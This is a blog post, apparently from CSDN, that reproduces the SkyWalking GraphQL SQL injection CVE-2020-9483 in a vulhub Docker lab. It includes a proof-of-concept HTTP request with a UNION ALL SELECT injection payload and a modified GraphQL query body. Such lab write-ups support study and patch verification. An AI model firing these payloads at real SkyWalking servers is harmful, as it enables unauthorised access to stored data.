当前位置:网站首页>Apache-Skywalking-SQL注入(CVE-2020-9483)复现
Apache-Skywalking-SQL注入(CVE-2020-9483)复现
2022-04-21 07:01:00 【伟大灵魂导师】
漏洞描述
Apache SkyWalking 是一款应用性能监控(APM)工具,对微服务、云原生和容器化应用提供自动化、高性能的监控方案。当Apache SkyWalking使用H2 / MySQL / TiDB作为Apache SkyWalking存储时,通过GraphQL协议查询元数据时,存在SQL注入漏洞,该漏洞允许访问未指定的数据。 Apache SkyWalking 6.0.0到6.6.0、7.0.0 H2 / MySQL / TiDB存储实现不使用适当的方法来设置SQL参数。
影响版本
Apache SkyWalking 6.0.0 to 6.6.0, 7.0.0
实验工具:docker搭配vulhub-master,burpsuite、Firefox
漏洞复现
进入到/vulhub-master/skywalking/8.3.0-sqli文件夹下,创建所需环境
#docker-compose up -d
随后在物理机上访问你的 ip:端口号(默认8080),进入到Apache-Skywalking页面:

使用burpsuite抓包,抓取到的报如下:

修改数据包的请求体:
{
"query":"query queryLogs($condition: LogQueryCondition) {
queryLogs(condition: $condition) {
total
logs {
serviceId
serviceName
isError
content
}
}
}
",
"variables":{
"condition":{
"metricName":"sqli",
"state":"ALL",
"paging":{
"pageSize":10
}
}
}
}
如图提交POC之后爆出了h2的版本:

网络上很多都是使用另一种POC
POST /graphql HTTP/1.1
Host: ip:8080
Content-Type: application/json;charset=utf-8
Content-Length: 313
Connection: close
{
"query":"query queryData($duration: Duration!) {globalP99: getLinearIntValues(metric: {name: \"all_p99\", id: \"') UNION ALL SELECT NULL,CONCAT('~', H2VERSION(), '~')--\" }, duration: $duration) { values { value } }}","variables":{
"duration":{
"start":"2020-08-07 1417","end":"2020-08-07 1418","step":"MINUTE"}}}
但是我并未复现成功。
版权声明
本文为[伟大灵魂导师]所创,转载请带上原文链接,感谢
https://blog.csdn.net/weixin_42558965/article/details/120655529
边栏推荐
- Hackmyvm综合靶机 | Driftingblues-9(完结)
- . net core throws an error and writes it Txt file
- 网关与分布式id
- Build openwrt file system for i.mx6q development board
- Zephyr物联网操作系统专栏汇总
- An entity class maps a field
- Supplément à la fonction d'annotation
- High availability system design
- Leetcode 707 Design linked list
- leetcode 142. Circular linked list II
猜你喜欢

The interface is not restored after Fiddler changes the font

Golang learning resource list

路由器设备选型参照天梯

Renesas ide: development environment configuration during bootloader upgrade of CS + for CC

【以太网交换安全】---端口安全及MAC地址飘移防止与检测

Technical background and practical role of "industrial digitization"

数学实验——函数绘图实验

第五站孔孟之乡-----------走迷宫之最短路径

【图像融合】基于拉普拉斯金字塔+小波变换实现图像融合含Matlab源码

Playwright, selenium, operation ifram element
随机推荐
动态规划--LC474.一和零
Zephyr物联网操作系统专栏汇总
TypeScript函数泛型
从零开始学习C语言日记——DAY27扫雷
Files and Directories
路由器设备选型参照天梯
OmniPlan tool user manual
Zephyr IOT operating system column summary
Introduction to QT 5.12 actual combat
Solution to red flag with @ Autowired annotation in idea
【图像融合】基于curvelet变换实现图像融合(评价指标)含Matlab源码
Implementation and application of STM32 system and custom bootloader
Leetcode topic -- 120 Minimum length sum of triangles, simple DP
联合类型和类型保护
Build openwrt file system for i.mx6q development board
瑞萨IDE:CS+ for CC进行BootLoader升级时开发环境配置
从零开始自制实现WebServer(十五)---- 日志库部分完结啦 实用小件DOUBLE-BUFFERING优化异步写入性能
kubesphere3. 0 forgot admin password
动态规划定点突破 --leetcode题目64.最小路径和
kubesphere3.0忘记admin的密码